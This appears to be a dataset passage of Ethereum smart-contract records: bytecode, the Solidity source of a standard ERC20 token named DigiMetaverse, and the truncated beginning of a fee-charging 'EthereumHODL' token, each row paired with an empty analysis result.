b806120db5750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b6000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146121c357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156121fd57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612340576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061394e6021913960400191505060405180910390fd5b600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561242c576001600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506124b9565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff02191690555b3373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f50546e66e5f44d728365dc3908c63bc5cfeeab470722c1677e3073a6ac294aa160405160405180910390a350565b6125203387611f32565b612575576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180613a01602c913960400191505060405180910390fd5b61260a33878787878080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505086868080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050613504565b505050505050565b61267233338585858080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505060405180602001604052806000815250613504565b505050565b60008083141561268a57600090506126f7565b600082840290508284828161269b57fe5b04146126f2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061396f6021913960400191505060405180910390fd5b809150505b92915050565b600082821115612775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b600080828401905083811015612804576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015612875573d6000803e3d6000fd5b50565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156128fe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613a536023913960400191505060405180910390fd5b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663aabbb8ca877f29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe89560001b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060206040518083038186803b158015612ab557600080fd5b505afa158015612ac9573d6000803e3d6000fd5b505050506040513d6020811015612adf57600080fd5b81019080805190602001909291905050509050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614612d08578073ffffffffffffffffffffffffffffffffffffffff166375ab97828888888888886040518763ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200180602001838103835285818151815260200191508051906020019080838360005b83811015612c37578082015181840152602081019050612c1c565b50505050905090810190601f168015612c645780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b83811015612c9d578082015181840152602081019050612c82565b50505050905090810190601f168015612cca5780820380516001836020036101000a031916815260200191505b5098505050505050505050600060405180830381600087803b158015612cef57600080fd5b505af1158015612d03573d6000803e3d6000fd5b505050505b50505050505050565b612d6383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126fd90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612df883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461278690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f06b541ddaa720db2b10a4d0cdac39b8d360425fc073085fac19bc82614677987868686604051808481526020018060200180602001838103835285818151815260200191508051906020019080838360005b83811015612eee578082015181840152602081019050612ed3565b50505050905090810190601f168015612f1b5780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b83811015612f54578082015181840152602081019050612f39565b50505050905090810190601f168015612f815780820380516001836020036101000a031916815260200191505b509550505050505060405180910390a48373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663aabbb8ca877fb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b60001b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060206040518083038186803b1580156130ca57600080fd5b505afa1580156130de573d6000803e3d6000fd5b505050506040513d60208110156130f457600080fd5b81019080805190602001909291905050509050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614613320578073ffffffffffffffffffffffffffffffffffffffff166223de298989898989896040518763ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200180602001838103835285818151815260200191508051906020019080838360005b8381101561324b578082015181840152602081019050613230565b50505050905090810190601f1680156132785780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b838110156132b1578082015181840152602081019050613296565b50505050905090810190601f1680156132de5780820380516001836020036101000a031916815260200191505b5098505050505050505050600060405180830381600087803b15801561330357600080fd5b505af1158015613317573d6000803e3d6000fd5b5050505061339d565b811561339c576133458673ffffffffffffffffffffffffffffffffffffffff166137f5565b1561339b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604d815260200180613990604d913960600191505060405180910390fd5b5b5b5050505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561342d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806138e66022913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156134d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4552433737373a2073656e6420746f20746865207a65726f206164647265737381525060200191505060405180910390fd5b6134de8787878787876129e9565b6134ec878787878787612d11565b6134fb87878787878787612ffe565b50505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561358a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806139086022913960400191505060405180910390fd5b613599858560008686866129e9565b6135ae836003546126fd90919063ffffffff16565b60038190555061360683600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126fd90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fa78a9be3a7b862d26933ad85fb11d80ef66b8f972d7cbba06621d583943a4098858585604051808481526020018060200180602001838103835285818151815260200191508051906020019080838360005b838110156136e55780820151818401526020810190506136ca565b50505050905090810190601f1680156137125780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b8381101561374b578082015181840152602081019050613730565b50505050905090810190601f1680156137785780820380516001836020036101000a031916815260200191505b509550505050505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35050505050565b60008060007f9047b45143e6b812eff14c01c3bbac1708d59ad85aa905a4100975ed95b1a9b360001b9050833b91506000801b82141580156138375750808214155b92505050919050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061388157805160ff19168380011785556138af565b828001600101855582156138af579182015b828111156138ae578251825591602001919060010190613893565b5b5090506138bc91906138c0565b5090565b6138e291905b808211156138de5760008160009055506001016138c6565b5090565b9056fe4552433737373a2073656e642066726f6d20746865207a65726f20616464726573734552433737373a206275726e2066726f6d20746865207a65726f20616464726573734552433737373a20617574686f72697a696e672073656c66206173206f70657261746f724552433737373a207265766f6b696e672073656c66206173206f70657261746f72536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774552433737373a20746f6b656e20726563697069656e7420636f6e747261637420686173206e6f20696d706c656d656e74657220666f7220455243373737546f6b656e73526563697069656e744552433737373a207472616e7366657220746f20746865207a65726f20616464726573734552433737373a2063616c6c6572206973206e6f7420616e206f70657261746f7220666f7220686f6c6465724552433737373a207472616e736665722066726f6d20746865207a65726f20616464726573734552433737373a20617070726f766520746f20746865207a65726f2061646472657373a265627a7a723158205103d8887ef2f97321c2ecf6181f209f2a7c65f020eaa8273b0e551af65faf8364736f6c63430005110032 | {"success": true, "error": null, "results": {}} | 1,433 |
0x8EEdEFe828A0f16C8fc80e46a87Bc0f1De2d960c | // SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the DGMV Token
*
*/
contract DGMV is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
string constant private _name = "DigiMetaverse";
string constant private _symbol = "DGMV";
uint8 constant private _decimal = 18;
uint256 constant private _totalSupply = 1000000000 * (10 ** _decimal); // 1 Billion tokens
/**
* @dev Sets the values for {name}, {symbol}, {total supply} and {decimal}.
*/
constructor() {
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
/**
* @dev Returns Name of the token
*/
function name() external view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the name.
*/
function symbol() external view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation
*/
function decimals() external view virtual override returns (uint8) {
return _decimal;
}
/**
* @dev This will give the total number of tokens in existence.
*/
function totalSupply() external view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
*/
function balanceOf(address account) external view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Transfer token to a specified address and Emits a Transfer event.
*/
function transfer(address recipient, uint256 amount) external virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev Function to check the number of tokens that an owner allowed to a spender
*/
function allowance(address owner, address spender) external view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev Function to allow anyone to spend a token from your account and Emits an Approval event.
*/
function approve(address spender, uint256 amount) external virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev Function to transfer allowed token from other's account
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Function to increase the allowance of another account
*/
function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Function to decrease the allowance of another account
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610f5a565b60405180910390f35b6100e660048036038101906100e19190610bd3565b6102b3565b6040516100f39190610f3f565b60405180910390f35b6101046102d1565b604051610111919061105c565b60405180910390f35b610134600480360381019061012f9190610b84565b6102f5565b6040516101419190610f3f565b60405180910390f35b6101526103ed565b60405161015f9190611077565b60405180910390f35b610182600480360381019061017d9190610bd3565b6103f6565b60405161018f9190610f3f565b60405180910390f35b6101b260048036038101906101ad9190610b1f565b6104a2565b6040516101bf919061105c565b60405180910390f35b6101d06104ea565b6040516101dd9190610f5a565b60405180910390f35b61020060048036038101906101fb9190610bd3565b610527565b60405161020d9190610f3f565b60405180910390f35b610230600480360381019061022b9190610bd3565b610612565b60405161023d9190610f3f565b60405180910390f35b610260600480360381019061025b9190610b48565b610630565b60405161026d919061105c565b60405180910390f35b60606040518060400160405280600d81526020017f446967694d657461766572736500000000000000000000000000000000000000815250905090565b60006102c76102c06106b7565b84846106bf565b6001905092915050565b60006012600a6102e19190611157565b633b9aca006102f09190611275565b905090565b600061030284848461088a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061034d6106b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156103cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103c490610fdc565b60405180910390fd5b6103e1856103d96106b7565b8584036106bf565b60019150509392505050565b60006012905090565b60006104986104036106b7565b8484600160006104116106b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461049391906110ae565b6106bf565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606040518060400160405280600481526020017f44474d5600000000000000000000000000000000000000000000000000000000815250905090565b600080600160006105366106b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156105f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ea9061103c565b60405180910390fd5b6106076105fe6106b7565b858584036106bf565b600191505092915050565b600061062661061f6106b7565b848461088a565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561072f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107269061101c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561079f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079690610f9c565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161087d919061105c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f190610ffc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561096a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096190610f7c565b60405180910390fd5b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156109f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e790610fbc565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a8391906110ae565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ae7919061105c565b60405180910390a350505050565b600081359050610b04816113a4565b92915050565b600081359050610b19816113bb565b92915050565b600060208284031215610b3157600080fd5b6000610b3f84828501610af5565b91505092915050565b60008060408385031215610b5b57600080fd5b6000610b6985828601610af5565b9250506020610b7a85828601610af5565b9150509250929050565b600080600060608486031215610b9957600080fd5b6000610ba786828701610af5565b9350506020610bb886828701610af5565b9250506040610bc986828701610b0a565b9150509250925092565b60008060408385031215610be657600080fd5b6000610bf485828601610af5565b9250506020610c0585828601610b0a565b9150509250929050565b610c18816112e1565b82525050565b6000610c2982611092565b610c33818561109d565b9350610c43818560208601611324565b610c4c81611386565b840191505092915050565b6000610c6460238361109d565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610cca60228361109d565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d3060268361109d565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d9660288361109d565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610dfc60258361109d565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e6260248361109d565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610ec860258361109d565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b610f2a8161130d565b82525050565b610f3981611317565b82525050565b6000602082019050610f546000830184610c0f565b92915050565b60006020820190508181036000830152610f748184610c1e565b905092915050565b60006020820190508181036000830152610f9581610c57565b9050919050565b60006020820190508181036000830152610fb581610cbd565b9050919050565b60006020820190508181036000830152610fd581610d23565b9050919050565b60006020820190508181036000830152610ff581610d89565b9050919050565b6000602082019050818103600083015261101581610def565b9050919050565b6000602082019050818103600083015261103581610e55565b9050919050565b6000602082019050818103600083015261105581610ebb565b9050919050565b60006020820190506110716000830184610f21565b92915050565b600060208201905061108c6000830184610f30565b92915050565b600081519050919050565b600082825260208201905092915050565b60006110b98261130d565b91506110c48361130d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156110f9576110f8611357565b5b828201905092915050565b6000808291508390505b600185111561114e5780860481111561112a57611129611357565b5b60018516156111395780820291505b808102905061114785611397565b945061110e565b94509492505050565b60006111628261130d565b915061116d83611317565b925061119a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846111a2565b905092915050565b6000826111b2576001905061126e565b816111c0576000905061126e565b81600181146111d657600281146111e05761120f565b600191505061126e565b60ff8411156111f2576111f1611357565b5b8360020a91508482111561120957611208611357565b5b5061126e565b5060208310610133831016604e8410600b84101617156112445782820a90508381111561123f5761123e611357565b5b61126e565b6112518484846001611104565b9250905081840481111561126857611267611357565b5b81810290505b9392505050565b60006112808261130d565b915061128b8361130d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156112c4576112c3611357565b5b828202905092915050565b60006112da826112ed565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611342578082015181840152602081019050611327565b83811115611351576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b6113ad816112cf565b81146113b857600080fd5b50565b6113c48161130d565b81146113cf57600080fd5b5056fea2646970667358221220097bacafe95b2d9b199a4b5a26b199fe01a94f7957ad7d78296b62110eae03a164736f6c63430008000033 | {"success": true, "error": null, "results": {}} | 1,434 |
0xaB99fC9eEE2882840380f1171A36E10cfD85D60F | /*
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract EthereumHODL is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "EthereumHODL";
string private constant _symbol = "eHODL";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**6;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
